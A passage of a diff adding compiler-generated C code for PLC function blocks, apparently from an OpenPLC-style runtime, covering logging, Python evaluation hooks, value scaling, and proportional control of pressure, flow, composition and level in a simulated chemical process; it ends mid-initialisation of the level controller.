LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + 